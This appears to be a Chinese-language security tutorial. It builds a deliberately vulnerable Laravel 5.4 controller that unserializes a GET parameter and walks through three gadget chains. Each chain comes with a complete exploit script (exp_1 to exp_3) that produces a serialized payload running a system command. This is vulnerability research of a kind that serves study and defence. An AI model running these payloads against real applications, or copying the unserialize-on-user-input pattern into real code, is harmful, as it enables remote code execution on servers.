前言
laravel是一套簡潔、優雅的PHP Web開發框架(PHP Web Framework)
環境搭建
laravel5.4部署
composer create-project laravel/laravel=5.4 laravel5-4 --prefer-dist
cd laravel5-4
php artisan serve
訪問http://127.0.0.1:8000

添加路由
routes/web.php
Route::get('/seri', "SeriController@seri");

添加控制器
app/Http/Controllers/SeriController.php
<?php
namespace App\Http\Controllers;
class SeriController extends Controller
{
public function seri()
{
if (isset($_GET['code'])){
$code = $_GET['code'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "The laravel version is 5.4!";
}
}
?>

訪問路徑
http://127.0.0.1:8000/seri

漏洞分析
找__destruct()方法
src/Illuminate/Broadcasting/PendingBroadcast.php

這里$this->events和$this->event都是可控的
找可利用的__call()方法
Generator.php
src/Faker/Generator.php

分析
查找format()方法

$arguments就是我們傳入的可控參數,$this->getFormatter($formatter)返回system時可 rce
查看getFormatter()方法

這里$this->formatters可控
直接返回$this->formatters[$formatter],而$formatter就是dispatch
所以可以構造$this->formatters = ['dispatch' => 'system']可以滿足要求
復現
//exp_1.php
<?php
namespace Illuminate\Broadcasting
{
use Faker\Generator;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->event = $cmd;
$this->events = new Generator;
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Faker
{
class Generator
{
protected $formatters = array();
public function __construct()
{
$this->formatters = array('dispatch' => 'system');
}
}
}
?>

但是提交時報錯

原因在於PendingBroadcast.php存在__wake()方法

注釋掉該方法繼續執行

成功執行命令
Manager.php
src/Illuminate/Support/Manager.php

分析
進入driver()方法

先查看createDriver()方法

在 callCustomCreator()方法中是一個可變函數
而且$this->customCreators和$this->app可控制

返回看$driver怎么來的

getDefaultDriver()方法是一個 abstract 抽象方法,需要找它的繼承子類重寫

轉到ChannelManager.php文件
src/Illuminate/Notifications/ChannelManager.php


查看getDefaultDriver()方法
這時候就可以令$driver可控了

最后只要令$this->customCreators[$driver] = 'system'|$this->app = 'whoami'即可執行命令
復現
//exp_2.php
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->defaultChannel = 'shivers';
$this->customCreators = array('shivers' => 'system');
$this->app = $cmd;
}
}
}
?>

可以執行命令

ValidGenerator.php
src/Faker/ValidGenerator.php

分析
ValidGenerator.php的這個__call()方法中
$this->generator|$this->validator|$this->maxRetries都是可控的
而$res = call_user_func_array(array($this->generator, $name), $arguments);這個,只要找到一個__call()方法能返回可控字符的對象,然后令$this->generator等於這個對象,即可控制$res,此時可rce
通過搜索,找到DefaultGenerator.php
src/Faker/DefaultGenerator.php

__call()返回的$this->default是可控的,可滿足要求
復現
//exp_3.php
<?php
namespace Illuminate\Broadcasting
{
use Faker\ValidGenerator;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ValidGenerator($cmd);
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Faker
{
use Faker\DefaultGenerator;
class ValidGenerator
{
protected $maxRetries;
protected $validator;
protected $generator;
public function __construct($cmd)
{
$this->generator = new DefaultGenerator($cmd);
$this->maxRetries = 10000000;
$this->validator = 'system';
}
}
}
namespace Faker
{
class DefaultGenerator
{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
}
?>

成功執行命令

